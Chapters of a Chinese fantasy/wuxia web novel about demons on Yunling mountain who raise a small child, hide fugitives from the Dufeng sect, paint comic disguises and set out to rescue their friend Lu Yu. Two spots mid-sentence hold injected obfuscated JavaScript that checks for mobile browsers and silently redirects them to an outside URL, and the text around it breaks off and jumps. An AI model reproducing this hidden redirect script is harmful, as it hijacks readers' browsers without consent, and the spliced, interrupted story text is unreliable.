陈川,“多谢。” 张槐低声道,“陆虞,我们拖累你了。” 陆虞道,“莫说那样的话。” “你们养好伤,可以来中州找我。” 吃完饭,陆虞见坨坨和小丛收拾碗筷,他也跟着一起收拾,把碗捡到一起,抱到水井边。 小丛和坨坨刷碗,陆虞重新捣药给陈川和张槐换上。 云善自己从蒜臼子里抓了点药抹在手指头上,举起来给花旗看。 “云善今天也受伤了。”花旗好笑道。 云善点头。看到陈川和张槐身上有布绑着,他对花旗说,“找布,绑着。” “还要用布绑着?”花旗笑起来。 云善点头。 花旗带他回屋,找了块碎布头,又找了些线。把云善的大拇指包起来。 妖怪们中午去小树林里睡觉。陈川、张槐、陆虞和乌日善留在云灵观里睡午觉。 妖怪们正睡着呢,就听着一阵叽叽喳喳的鸟叫声响在头顶。 连云善都被吵醒了,躺在吊床上,半睁着眼看着上面的树。 小麻雀说有一群人上了云灵山。 “什么人来云灵山了?”坨坨问。 “不知道。”小麻雀说,“他们提着刀。” “应该是追杀乌日善他们的。”小丛说。 花旗抱起云善,妖怪们一起回了云灵观。云善趴在花旗肩膀上又重新睡着了。大拇指上包着的碎布头被他蹭掉,落在了路上。 陈川和张槐才醒来没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14022490|148718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多久,两人睡不着,坐在院子里小声说话。 看到花旗他们回来,两人停下说话。 花旗把云善抱到屋里睡觉。小丛拿了本书坐在桌边看,看了半页书,便垂着脑袋打起了盹。 “你们俩先回屋。”花旗出来对陈川、张槐说,“一会儿有人上山。你们在屋里别出来。” 陈川和张槐二人去了屋里。 没一会儿,云灵观里进来了几个人。 那几个人都穿着统一的褐色劲装,手里提着刀。和那天他们在梁家遇到的土匪是一样的打扮。 为首的人是独峰派大弟子沈三悟,他客气地说,“请问几位可见过两个男人带着个小孩。” “小孩约莫5岁。” 前天他们门派才把弟子从县牢里赎出来,知道了云灵山里住着几位武功高强的人。因此,说话十分客气,不敢嚣张。 “没见过。”坨坨回。 屋里的陈川、张槐两人轻声走到炕边,握紧了自己的武器。 沈三悟又问,“真没见过?” 坨坨只道,“没见过。” 小丛脑袋猛地往下一点,醒了过来。看到院子里来人了,他放下书站在门边看那些人。 沈三悟笑了笑,“这里可有师傅?我们想烧香。” 小丛转头看了一眼,院里唯一的真师傅现在正躺在炕上睡午觉。 坨坨拿了把香出来递给沈三悟。 沈三悟接过香,大家分一分,边往大殿走,边四处看。除了厨房和妖怪们睡觉的屋子的门是敞开的,其他都是关起来的。 坨坨领着他们进了大殿。这些人烧着香,对着上面的神像拜了拜,恭恭敬敬地磕了三个头。 沈三悟出了大殿,问道,“不知道这人可有师傅卜卦?” 小丛会卜卦。只是200年前发生的事,让他对自己的卜卦水平很不自信。 “抽签吧。”小丛说,“抽签我可替你解。” 沈三悟问向西觉,“这儿谁是师傅?”怎么解签的是个小童。 小丛说,“你们上来的不凑巧,师傅现在在睡觉。我会解签。” 坨坨抱来签筒交给沈三悟。 沈三悟摇摇签筒,从里面抽了根签出来。 坨坨拿了签一看就是哎呀一声。 沈三悟忙问,“怎么了。” 坨坨把签举给他看,“下下签。” “山中有路通幽......” “小丛,这是什么字?” 坨坨虽然被扫盲过,但他是在现代被扫盲的,学的是简化字。遇到繁体字,他还是不认识。 小丛接过签文读道,“山中有路通幽处,前有豺狼后有虎。” 沈三悟:......这签文简单易懂,都不用师傅解,他自己就能听得懂。 “你所想之事,必然不成。”小丛说,“如果强求,怕是会惹上祸事。” “大师兄。”一个独峰派弟子小声道,“我们下山吧。神仙说了不行,咱们就别费劲找人了。招了祸事可就遭了。” 独峰派的弟子多多少少都是信神仙的,得了这个签文,心里都不太得劲。不只有一个人劝,“大师兄,下山吧。” 沈三悟抽到下下签,心里不舒服。找不到人不算是大事,顶多是得不到功法。可招上祸事那就是大事了。那签文明显是大凶。又是豺狼又是虎,招惹上了怕是吃不了兜着走。 又听众人劝他,沈三悟下了决定,“我们走。” 一行人离开了云灵观。 坨坨把签筒放回大殿里,走出来庆幸道,“还好他们抽的下下签。不然还得麻烦会儿。” 陈川和张槐在屋里听着动静,不敢开门。陆虞睡醒,见他俩拿着武器防备地站在门口,纳闷地问,“你俩干什么?” “嘘!”张槐回头,用气音道,“刚刚有人上山来找我们。” 陆虞立马闭上嘴,轻手轻脚地穿上鞋,站在炕边。 听了一会儿,外面只有坨坨他们说话的声音,陆虞走过来小声道,“我先出去看看。” 他打开门,四下张望,只有坨坨他们在院子里。 “坨坨。”陆虞关上门问,“刚刚来人了?” “来找陈川他们。”坨坨说,“已经下山了。” 陆虞松了口气,“他们动作这么快?已经搜到了云灵山。” 云善睡醒了在屋里喊人。铁蛋先蹿进屋里,云善很快骑着铁蛋出来了。 铁蛋驮着云善去了云灵观外。坨坨跟出来喊,“去远点尿尿,一股子味。” “门口草都被你们浇得不长了。” 铁蛋驮着云善走远了一点。钢蛋跟着蹦过去。 10. 乔装打扮 第二天早上,坨坨蒸了很多大馒头。 云善握着小木剑在院子里练剑。他练剑已经半年了,很是有些模样。 陈川推门出来,就见云善一个翻腾,稳稳落地。 看着云善胖乎乎的小模样,陈川没想到他也是个小练家子。 云善练完剑,出了一脑门的汗。他把小木剑放到走廊下的凳子上,走过来看西觉做手工。 “云善,把那块木板递给我。”西觉指着地上的木板说。 云善捡起木板,两只手抱着一起递给西觉,“还要啊?” “暂时不要了。”西觉回。 “做好啊?”云善问。 西觉说,“今天就能做好。” 西觉在给云善做下炕的木头梯子。 云善蹲在那把木板挨个翻了一遍,从里面挑了块小木块,拿着问西觉,“用啊?” “这块不用。”西觉说。 云善笑起来,“烧火。” 西觉,“你拿进厨房烧火吧。” 云善拿着那块小木块进了厨房,坨坨还在忙着蒸大馒头。桌子上放了好些馒头在晾凉。 云善走到灶台边,坨坨撵他,“这边烧火,你别过来。” “烧火。”云善把手里的木块给坨坨看。他走到灶台边,坨坨跟在旁边看着他。 云善蹲下来,把手里的木头块丢进灶膛里。看着木头烧起火苗,他才站起来。 “我看看你手。”坨坨说。 云善翘着大拇指给坨坨看。 拇指上肿起的包明显比昨天小了很多。 坨坨碰碰他的手指头问,“还疼不疼了?” 云善点点头,“疼。” 坨坨给他冲了碗蜂蜜水,放在凳子上,让他自己在旁边喝。 云善喝了半碗蜂蜜水,剩下的半碗一半倒在钢蛋的饭盆里,一半倒在铁蛋饭盆里。 钢蛋正准备喝水,小纸已经游到它的不锈钢饭盆边上。钢蛋顿了一下,转头看向铁蛋的饭盆。 云善的碗本来就小,半碗水已经很少了。半碗水再匀成两份就更少了。铁蛋舔了两下,盆底已经干了。 钢蛋只好等着小纸喝完蜂蜜水,它才把剩下的舔干净。 听到乌日善在外面说话,云善立马跑了出去。 乌日善拿着小木剑问云善,“这是你的?” 云善点头,“我的。” 陈川说,“云善也练剑。” 乌日善显然很惊讶,看向云善,“你也练剑?” “嗯。”云善点头,拿过小木剑跑到院子里,耍了一套给乌日善看。 他把小木剑给乌日善,“你来。” 乌日善抓着木剑,也练了几下。 陈川瞧着他俩的水平差不多,觉得他俩平时可以一起练习。云善有小木剑,乌日善现在却是没有的。 “西觉兄弟,还有木头吗?”陈川说,“我想给少主做柄木剑。” 西觉指着院子角落说,“那边的都能用。”院子角落存放的是西觉攒的木料。 陈川去角落挑选。 乌日善听到陈川要给他做木剑,把手里的小木剑还给云善,跑到院子角落,看着陈川选木料。 云善提着小木剑跟过去,刚跑到那,就听坨坨喊吃饭了。他一转身,提着小木剑往回跑。 钢蛋和铁蛋两个挤在厨房门口互不相让,谁也进不了厨房。花旗走过来,挨个给了它们一巴掌。铁蛋嘤嘤叫了两声,稍微让开一点,让钢蛋先进去。 花旗进去后,又在钢蛋脑袋上扇了一下,“天天争,天天抢。听到吃饭你比谁跑得都快。把自己喂得倒是很好。” “看看你腰上的肉。” 花旗掐着钢蛋身上一圈肥肉掂了掂,“山里吃草的,谁也赶不上你能养肉。” 钢蛋一挨打就老实,蹲在那,脑袋低着,两只手耷拉在前面,一副老实巴交听训的模样。 等花旗一转身,钢蛋就往饭桌边蹦,站在云善后面,瞧瞧今天早上吃的什么饭。 云善爬上凳子,抓了个馒头给钢蛋。钢蛋接过馒头抱着啃。 铁蛋走过来,云善又抓了一个馒头塞到铁蛋嘴里。 陆虞匆匆洗了把脸,跑进厨房里,“你们起得都好早。” 旁边小桌子上垒了很多馒头。陆虞问,“咋蒸这么多馒头?” “你今天不是要下山?”坨坨说,“给你带着路上吃。” 陆虞很是感动,啃着大馒头不好意思地说,“我这又吃又拿的,实在不好意思。” “没什么。”坨坨说,“路上买饭吃可贵了。”他们以前也是下过山的。路上什么都得靠买,吃喝住宿都得花钱。 “你们下过山?”陈川突然问。 小丛喝完一口粥后说,“前几天,我们送土匪去镇上,顺便在镇上转了转。” 坨坨也意识到自己说错话了,连忙道,“山下镇上可热闹了。就是得花钱,喝水也要钱。” “上次我们吃的烧鸡挺好吃。” 兜明十分赞同,“很好吃。” 云善今早还不是自己吃饭,他还是坐在西觉腿上被西觉喂饭吃。 拿着馒头手不疼,云善自己拿着馒头啃。想吃咸菜就喊西觉一声,“西西,菜。”西觉就夹点咸菜放他馒头上。 吃完了一个馒头,云善还要再喝小半碗粥。喝粥就得西觉喂他了。 钢蛋虽然馋小桌子上的馒头,但是它不敢偷吃。偷吃要挨打,它心里有数,只站在桌边,等着妖怪们给它吃的。 花旗看云善手指头还肿着,就说,“云善今天就别画符了。” “疼。”云善看着自己翘起的大拇指说,“不拿笔。” “对。”花旗说,“不拿笔。” 吃完早饭,陆虞准备下山了。除了要带金碗,他也没别的行李,根本就不用收拾。 坨坨洗完碗筷,给陆虞装了满满一篮子大馒头,还捞了些小咸菜装在竹筒里,让陆虞带着路上吃。 张槐也醒了,叮嘱陆虞,“路上小心。” 陆虞说,“知道。” 大家一起把陆虞往山下送。 经过菜园子,陆虞说,“我再摘点黄瓜带着路上吃吧。” 坨坨带着云善去给陆虞摘了几根黄瓜,三个西红柿。篮子已经装得满满的了,西红柿和黄瓜都压在馒头上。 陈川、张槐和乌日善送到半山腰,便没再下去。他们怕被人瞧见会招麻烦。 妖怪们一直把陆虞送到山底下。 一个梳了两个发髻的小丫头趴在田边喊,“山里的客人。” 小丫头从田里爬上来,手里拎着根小树枝,跑到花旗他们跟前。又怕铁蛋和钢蛋,举着树枝站在那喊,“你们下山呢?” “来我家玩吗?” “你是谁?”坨坨问。 地里又爬出来两个脸上抹了泥的小男孩,热情地喊,“山里的客人。” “你们又是谁?”坨坨问。 两个小男孩跑过来,黑一些的那个道,“我叫梁明......” “他叫大狗蛋。”旁边的小男孩抢先说。 黑一些的小男孩急了,喊道,“我大名叫梁明智。” “他小名叫大狗蛋。”另一个小男孩喊。 “你不要说话!”大狗蛋气恼地拿树枝打二狗蛋。 妖怪们听到他们姓梁,估计他们是梁家的小孩。 二狗蛋也不服,拿着树枝打回去。两人互相追着打。 地里又爬出来个小女孩,瞧着比大狗蛋他们岁数小些,又比第一个出来的小女孩大些,身后还跟着一条大狗。正是妖怪们那天在梁家院子里看到的大狗。 “大哥,二哥,不要打了。” 陆虞道,“他家小孩可真不少。” 妖怪们没管这些小孩,继续送陆虞往前走。没想到,几个小孩一直跟在他们后面。 铁蛋好奇地跟在大狗旁边,闻着它身上的味。大狗躲着它,边往前跑边汪汪叫。 云善向来不怕动物,追在狗后面,想摸狗。 地里干活的人听到狗叫声,直起腰来看。就见家里的小孩跟在一群人后面。 梁俊永大声喊,“大狗蛋——” “爹。”大狗蛋扯着嗓子回。 梁俊永问,“跟谁后面呢——” “山里的客人——”大狗蛋喊。 “山里人下来了。”王小花眯着眼睛往田埂上瞧。 梁俊泽说,“上回他们送礼,我还没谢。我去和他们说说话。” 梁俊泽提着镰刀往田埂边走。 妖怪们也没打算送陆虞多远,到能看到村子的地方就停下脚了。他们站那看着陆虞挎着篮子,往村子的方向去。 云善站在大狗旁边,抓着狗毛问西觉,“西西,什么呐?” “是狗。”坨坨过来把云善拉到旁边,“你摸狗,一会儿狗咬你。” “咬我?”云善松开手,害怕地躲在坨坨身边,转回头看了看狗,又问,“咬我?” 三丫跟过来说,“大黄不咬人。” “可听话了。” “听话啊。”云善听了这话又不怕了,又往狗旁边走。 铁蛋就站在狗边上,三丫不敢过去,对云善说,“你家养的狗长得真奇怪。” “铁蛋不是狗。”坨坨说,“它是狮子。” “这狗叫大黄?”和树叶以前养的狗一个名。 “嗯。”三丫回。 大狗蛋胆子大,问坨坨,“我能摸摸你家狮子吗?” “摸。”云善说。 大狗蛋靠近,小心地伸出手,在铁蛋身上摸了一下。铁蛋甩个头走开,大狗蛋吓得大叫。 “不咬人。”云善赶紧说。 梁俊泽上了田埂,看着陆虞走远的背影问,“那人也是山里的人?要去哪?” 坨坨说,“他是陆虞,不是山里的人。他要买粮食回中州救人。” 梁俊泽听着熟悉,仔细想了想。之前花旗他们下来的时候,那天就听人在院子里喊中州大旱,向他们讨钱。应该就是这个人。 “中州真旱了?”梁俊泽问。 “陆虞说旱了。”坨坨说。 梁俊泽问,“他凑到钱了?” 坨坨,“凑了一些。” “你们上回送我的东西太贵重了。”梁俊泽说,“我都没见过。” 坨坨想啊,那都是现代的东西,梁俊泽没见过很正常。 梁文忠也从田里出来了,“走,回家坐坐去。” “不了。”坨坨说,“我们要回山。”乌日善他们还在云灵观。 “去家里坐坐。”梁文忠拉着西觉说,“辈分都还没论,咱们谁辈分高?” “我们辈分高。”这个坨坨很知道。 “我是叫你叔,还是叫你哥?”梁文忠问西觉,“光知道是亲戚,怎么叫都还不知道。” “上次那一顿没好好吃。这次去家里,好好吃一顿。” 梁文忠叫叔叫哥都不对。但是妖怪们没法说。 西觉道,“叫我西觉就行。” “我们山里不论这些辈分。” 只叫名字谁也不吃亏,梁文忠也没死板地一定要论出个辈分。他拉着西觉说,“西觉,去家里吃饭。我家里有不少口人,来认识认识。” “我们今天回山里有事。”坨坨说,“等以后下山去你家玩。” 坨坨他们说有事,梁文忠就没再邀请他们去家里。而是把在田里干活的家里人都叫来,挨个给花旗他们介绍一遍。 云善也跟着听,梁文忠说谁,他就看谁,也跟着认人。 认识完了人,梁周氏抱怨道,“也不知道哪个缺德的,把田里的麦子压倒了。倒了好一片。” 梁文忠没瞧见倒的麦子,听了这话就说,“是不是叫野猪祸害了?” “咱家地远,村里人可不来这。” “不是被野猪祸害的。”梁俊永说,“麦子没被啃。” 坨坨说,“前面山里没有野猪。” 梁文忠瞧着自家的几个小孩问,“你们是不是在麦地里玩了?” “不是我们。”大狗蛋说,“我们没压麦子。” 二丫也说,“不是我们。” 不是野猪啃的,那就是人祸害的。也不知道谁那么闲,跑来他家地里祸害。 妖怪们回山里,梁家大人又下地干活去了。梁家的四个小孩尾着他们在田埂上走。 云善瞧见别人都拿小树枝,他也想要。跑去找兜明要树枝。 大狗蛋道,“云善弟弟,我掰一截给你。”他说着曲起膝盖,树枝抵在膝盖上,手上用力,树枝“咔嚓”折成两截。 大狗蛋把一截树枝给云善,“喏。” 云善拿过树枝很高兴,跟在大狗蛋身边走。 铁蛋往云善身边挤,三丫害怕,跑到最前面,不和他们走在一块。 “云善弟弟,你平时在山里玩什么?”二狗蛋问。 “你别喊云善弟弟。”坨坨说,“他不是你弟弟。” 梁文忠给介绍的时候,只说叫云善。大狗蛋和二狗蛋瞧云善年纪小,主动叫的弟弟。 “他比我小,我不叫弟弟叫什么?”二狗蛋问。 “就叫云善。”坨坨说,“你们不能乱叫。” 二丫说,“没乱叫,他就是弟弟。” “他不是弟弟。”坨坨哎呀一声,“你们不要这样叫他。” “就叫云善。” 坨坨不同意,梁家的小孩也不坚持,叫云善和叫云善弟弟也什么太大差别。 四个小孩一直跟到田边地头。 “你们带我上山玩行不行?”大狗蛋问坨坨,“我没上过山。” “不许上山。”二丫拽着大狗蛋的衣服说,“去山上叫狼把你叼了。” “云灵山里没狼。”兜明说。狼在云灵山上早灭绝了。 大狗蛋扬着下巴对二丫说,“人家说没狼。” “没狼还有其他东西。”二丫道,“你要上山,明年我和大娘给你哭坟去。” “我上山就得死啊?”大狗蛋翻着白眼道,“你能不能不要说话。” “就是。”二狗蛋帮腔,“云善他们上山就没事?我们上山就得死?” “你闭上乌鸦嘴。” 二丫被说得不高兴了,转身往回走。三丫握着树枝追过去,跑了几步,转过头来看,“大哥,二哥,回去了。” “你们回家吧。”坨坨说,“以后有空再带你们玩。” “说好了。”大狗蛋道。 坨坨点头。 大狗蛋和二狗蛋追着二丫、三丫往回跑。 云善还有些舍不得这么多小伙伴走了,问,“走啊?” “他们回家了。”花旗说,“咱们也回山。” 云善手里一直拿着树枝,遇到树要敲一敲,看到草了要打一打。靠着路边的好些草都被他打得蔫了头。 一会儿他拽片叶子跑来塞给钢蛋,一会儿又摘些飞蓬花攥在手里拿给花旗、西觉。 走路也不好好走,用树枝点着地,左摇右晃地唱着歌。像一只摇头晃脑的欢快小胖雀儿。 “哒哒哒哒哒......”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张槐很是惊讶。他没想到,坨坨他们竟然不会武功。“你们不会武功怎么打倒独峰派的人?” “我们力气大。”坨坨说,“兜明和西觉力气可大呢。” 张槐和陈川没想到竟然是这样。两人心里纳闷,西觉和兜明有多大力气,竟然可以打败武林高手?难道这就是一力破十巧? “你们有武功秘籍吗?”坨坨继续问。 “有。”张槐说,“我们自幼开始练习功法。” “你们俩是不是还有什么绰号?”坨坨记得独峰派的人之前说过张槐他们的特征。 “我因为名字带槐,又使木针暗器。认识我的人便叫我木鬼,后来就在江湖上传开了。”张槐说。 坨坨看向陈川,“你呢?” “黑面阎王。”陈川笑着说,“因为我长得黑。就被起了这么个绰号。” 坨坨回想了一下。当时独峰派的人还说谁刻薄来着?是陈川还是张槐?看他俩也没有刻薄啊。 “你长得这么黑,在外面很容易被认出来。”坨坨问,“你们会易容术吗?在外逃命的时候易容吗?”电视剧里很多江湖人都会易容术。 陈川摇头,“不会易容术。我常带蓑笠。” 张槐道,“他会抹些女人用的脂粉,看着就白了些。” 陈川啧了一声,对张槐说出他抹脂粉的事有些不好意思。他故意粗声粗气道,“不抹白点,容易让人认出来。” “你会化妆吗?”坨坨问。 “不会。”陈川说,“那是女人家画的。我不会那些。我就会抹个粉。” 他抱怨道,“要不是长这么黑,太招人眼。我连粉也不用。” “我会化妆。”坨坨说,“我给你化一个,保证别人认不出来。” “真的假的?”张槐欣喜,没想到坨坨他们还有这种手艺。 坨坨拍着胸脯保证,“真的,我保证。” 兜明说,“确实不容易认出来。”因为会画得像鬼。 “那你给我画试试。”陈川高兴道。 “等着。”坨坨跑回屋里,从乾坤袋里翻了好些化妆品,还翻到了早就过期的几瓶粉底液。 坨坨抱着一堆工具跑回来,陈川和张槐看他有这么多东西,瞬间有了信心。工具都这么多,看来坨坨确实是有手艺的。 “第一步,先抹粉底液。”坨坨挤了粉底液在手上搓了搓,都抹到了陈川脸上。瞧着变化不大,坨坨又挤了三大泵粉底液,也都糊在陈川脸上。 陈川等坨坨抹完后张嘴问,“这什么?” “粉底液。”坨坨说,“抹脸上能变白。” 张槐往前探着身子说,“是变白了,还有点黄。” 接下来,坨坨依次给陈川画了眉毛、眼影、打了腮红。 张槐越看越不对劲,“怎么画成这样?”像鬼似的。 云善和乌日善也都跑过来看。 “就这样画的。”坨坨肯定地说。 他最后再给陈川抹了个玫红色的口红,满意地看着陈川脸上两坨粉红色,“好了。” 张槐憋着笑。陈川一看他这表情就知道不对,问,“你笑什么?画成什么样了?” “你自己去看。”张槐笑道。 陈川去了水盆边,看着里面的大粗眉毛、绿眼皮子、粉扑扑的大脸、一张红嘴。他转脸对坨坨,“你把我画得像鬼。”果然不能信小孩子。 “也没那么丑。”坨坨说,“你看,别人是不是认不出来了。” “你可以装扮成女的。和张槐、乌日善扮成一家三口。这样别人不容易发现你们。” “我扮成女的?”陈川道,“怎么不是张槐扮女的?” “我不扮女的也没人认出我。”张槐说,“你那张脸太显眼。” “这么一画确实好多了。”张槐哈哈笑,“眼皮子别涂绿的,像妖怪。” “妖怪没有绿眼皮的。”坨坨立马说。 陈川,“那你给我画什么绿眼影。” “这儿正好有绿色的眼影。”坨坨拿起眼影盘说,“粉的,黑的,橘的,你想要哪个都行。” 云善看了后评价道,“好看。”他的化妆技术和坨坨是一脉相承,两人欣赏眼光也差不多。 “好看?”陈川无奈地笑。云善的品味还真是独特。 张槐认真说,“我觉得坨坨说得对。咱们扮成一家子往中州去,确实不会打眼。” “坨坨给你画得太夸张了,少抹点应该会好看些。” “少主也可扮成女孩模样。这样,其他人更是想不到。” 张槐提议了,坨坨就给乌日善也化了个妆,还给乌日善梳了双丫髻,就像今天看过的二丫、三丫的发型。 云善又说,“好看。” 乌日善自己跑去照了盆,摸着头上的发髻很是新奇。他没这样打扮过。 小丛说,“我给你们做些裙子。穿上裙子就更像女的了。” 花旗从外面回来,被乌日善和陈川吓了一跳,“云善画的?” “我画的。”坨坨骄傲地说,“这是乔装打扮,可以帮助他们躲避追杀。” 坨坨把人化得实在是不好看,和电视里别人化妆完全不一样。花旗道,“想化妆乔装打扮,还是去山下找人学学吧。” “化成这样,太引人注目。” 坨坨看了看陈川和乌日善的脸,确实是太浓了些。他想了想道,“明天我下山找人学化妆。” 11. 救陆虞 傍晚,梁俊彦带着妻子回东望村。 麦收之后,梁俊泽要去县里读书。梁俊彦趁着有时间,常回家来,兄弟三个经常聚在一起。 梁家人正忙着把院子里晒的粮食收起来。 梁俊彦和周勤俭一回来,赶紧跟着一起干活。 “今天在镇上,我瞧见上回来咱家讨钱那人被一伙人拉走了。” 梁俊彦边干活边和家里人说着闲话。 “哪个讨钱的?”大嫂王小花问。 “老三摆酒第一天,有个说中州干旱,要讨钱买粮的。”梁俊彦回。 “他?”梁俊泽惊讶地停下手里的活。“他被什么人拉走了?”坨坨不是说那人要回中州买粮食吗? “老三你认识那人?”梁俊彦道,“他被独峰派的人拉走了。我瞧得真,那些人衣服和上次来咱们家的人穿得一样。” “我寻思着,他们是不是认识?” “我都怀疑那人是不是独峰派的眼线。”梁俊彦道,“怎么他一来咱家,独峰派也跟着来,还差点杀了人。” “我倒是不认识那人。”梁俊泽道,“只是今天瞧见花旗他们送那人下山。说那人要回中州买粮食救人。” “既然是花旗他们认识的,应该不会和独峰派是一伙的。”梁俊永说,“独峰派上回要杀的可就是花旗他们。” 王小花撑着麻袋问,“独峰派拉他干啥?” “哎呀。”周勤俭叫一声,“他们不是拿那人出气吧。上回独峰派的那些人硬是被花旗他们拖到镇上衙里的。” “江湖上的人打打杀杀,被他们捉到,怕是落不到好。” “老头子。”梁周氏问,“咱们是不是上山告诉花旗?” 梁文忠拄着木锨道,“那得赶紧。” “爹,现在天晚,上山怕遇着狼。”王小花担心地说。 大狗蛋跑过来说,“他们说山里没有狼。” “没有狼也还有其他的野东西。”周勤俭道,“要不然等明天早上再去。” “花旗他们就是下山了,夜里也打探不出什么消息。” “早点告诉他们,说不定能救条命。”梁文忠说,“江湖里的人说杀人就要杀人。晚了恐怕那人没命。” “我现在就上山问问去。”梁文忠唤道,“大黄,走。” 梁家兄弟三个扛着农具,跟在梁文忠后面,一起往山上去。 大狗蛋和二狗蛋也在后面跟着。 “你俩回家去。”梁文忠撵他们。 “爷,我们也想上山。”大狗蛋说。 梁俊永道,“上什么山。你俩赶紧回家去。小心你奶打你们。” 大狗蛋瘪着嘴,“爹,你咋这样。” “赶紧回去。”梁俊彦道,“晚上山里不安全。你俩要跟着去,不用你奶打,我现在就打。” “家里收粮呢,你俩回去帮着撑口袋。” 大狗蛋和二狗蛋不情不愿地回了家。 因着是傍晚,梁家人害怕夜里上山危险,父子四个走得都很快。 紧赶慢赶地走,到山脚下时,天也要黑了。 他们四个不知道花旗他们住在哪。走一段距离就扯着嗓子喊几声。 山里的小妖怪们听到人类的喊声,听到他们喊的是花旗和西觉的名字,赶紧去云灵观报信。 小松鼠爬上云灵观墙头吱吱吱地叫了几声,坨坨和小丛走出来。 听到小妖怪说有人上山找花旗和西觉,坨坨纳闷,“谁呀,这么晚上山。” 小松鼠不认识梁家人,说,“有四个人类,边走边叫。” 坨坨和小丛先去看,听到是梁家人的声音,坨坨赶紧问,“你们怎么晚上上山了?” 听到人声,梁家人悬着的一颗心放了下来。 看到小丛和坨坨从树后转出来。梁俊泽赶紧道,“今天你们送下山的陆虞,在镇子里被独峰派的人拉走了。” 梁俊彦说,“我亲眼瞧见的。” “什么时候的事?”小丛问。 “今天快晌午的时候,得有三个多时辰了。”梁俊彦回。 “我们怕出事,赶紧就来和你们说。”梁俊永道。 梁文忠怕下山迷路,坨坨一直把他们送到山脚下。小丛先回去告诉花旗和西觉,陆虞让独峰派的人抓走了。 陈川一脸焦急,“怎么会这样。” “看来前天他们真的盯上陆虞了。”张槐表情凝重,“独峰派作风还算光明磊落,陆虞被捉去一时要不了命。就怕其他门派掺和进来。” “我去救他。”张槐对陈川说,“你留下来照顾少主。” 陈川点头,张槐对花旗和西觉抱拳,“两位可否一同前去?” 张槐知道他们没武功,就道,“我去打头阵,将人引开。你们能否将陆虞带回来?” “你伤还没好,能打得过别人吗?”坨坨担忧地看着张槐胸口绑着的布条。 “不知道。”张槐直接说。 “你别去了。”坨坨说,“我们去找陆虞。” “我怕他们人多。你们不会武功,恐怕难以敌对。”张槐说,“我虽然受了伤,还能使暗器。” “没事。”花旗说,“我们力气大。”他不想张槐跟去,要是用到法术,有人类,他们还得想着瞒过人类。 张槐担心花旗他们,就要跟去。妖怪们劝了好长时间,张槐才说不去。 云善早就洗完澡了,穿着红肚兜,跟在西觉身边走到云灵观门口。 西觉站住脚对他说,“云善回屋睡觉吧。” 云善拉着西觉往院子里走,他要带着人一起回去睡觉。 西觉不动,云善拉不动他,转回头看着西觉说,“睡觉啊。” “你去睡觉。”花旗说,“我们现在要下山一趟。” 云善一听要下山,立马道,“走。”他撒开西觉的手,带头往外面跑。 坨坨跑过来拉住他,“云善,咱们不下山。” “他们下山有事。我们回屋睡觉。” “不睡觉。”云善说,“下山。” “他们去山下干事情,不好玩。”坨坨说,“我们回屋,我给你读故事书。咱们一起玩玩具。” 云善没坚持,看着花旗问,“什么时候回来啊?” “夜里回来。”花旗哄他,“云善先睡。” 陈川说,“夜里出门办事还是蒙着面好。独峰派的人见过你们,要是被他们认出来,就怕山里会受打扰。” “对。”坨坨立马赞同。电视里劫法场、劫牢救人之类的都会蒙面。 小丛回屋拿了几块布出来,一妖发了一块。 云善站在云灵观门口,看着花旗他们往山下走。只有坨坨留下来看着他睡觉。 “走,我给你读故事书。”坨坨牵着云善回云灵观。 乌日善也没睡觉,他听得懂,花旗他们要下山救陆虞。他问张槐,“张叔,他们能把陆叔救回来吗?” 张槐摇摇头,“我也不知道。”主要是他不知道花旗他们的力气到底有多大。只看兜明、花旗和西觉的饭量,这三人力气肯定不小。 妖怪们找了小麻雀来,让小麻雀打听消息,看陆虞现在在哪。 小麻雀领了任务,拍拍翅膀飞走了。很快,一大片鸟群从山里飞出去,往镇子的方向飞。 花旗他们快速下山,走到镇上的时候,小麻雀已经打听好了消息。 陆虞就在镇子外面一处小院里,有七八个人看守。 妖怪们到小院附近蒙上面,贴着墙根往小院走。走得静悄悄,没发出一点声音。 到了小院门口,花旗先用意识扫了一遍院子。院子里站着两个守夜的人,其他人都不在。 花旗一脚将门踹开,兜明率先窜进院子,西觉紧随其后。小丛在后面把门关上。 “什么人?”守门人喝道。 二人只来得及说这一句话,就被西觉和兜明一妖一个手刀砍晕了。 屋里立马骚动起来,兜明踢开门,一把刀迎面挥来。兜明侧身一闪,紧接着胳膊一疼。他转头一看,自己胳膊上插着一柄小刀。他中暗器了! “来者何人?”沈三悟大喝。 妖怪们不吭声,兜明拔了身上小刀,往前一甩。就见那小刀直直没入墙里,连个影都没了。 沈三悟眼神凝重,这是高手来了。能将暗器甩成这样,内力必然十分深厚。 “是江湖上哪派豪杰?”沈三悟问,“可是要来探听乌党余孽消息?” 妖怪们仍旧不吭声。 沈三悟又道,“各位若是要人,带走便是。” “可否报上名来,我回去也好与掌门交差。” 妖怪们还是不吭声。 沈三悟心想着难道是来灭他们口的?独峰派最近没得罪人。什么人要来杀他们。 又想到昨天在山上抽到的下下签,心下当即十分后悔,恼恨自己还管这件事。 昨天他都决定不管这事,谁晓得今天有师弟捉了乌党的人来。他本以为能白捡一件大功,没想到真是招了祸事,只恐今晚性命不保。 屋子里一时沉默下来,沈三悟看着唯一有辨识度的小丛,心想,哪里来的小矮子?身高竟似稚子。江湖上没听说有这号人物。面前几个人到底是哪门哪派的? 沈三悟手背在身后,冲着后面的人打了个手势。独峰派的人刷拉一下抽出刀,一起往门口冲去。 兜明抬脚要踹,就见沈三悟往旁边一偏,夺门而出。后面跟着的人也都冲了出去。 “嗯?”兜明疑惑地问,“怎么跑了?” “不知道。”花旗道,“赶紧找人。” 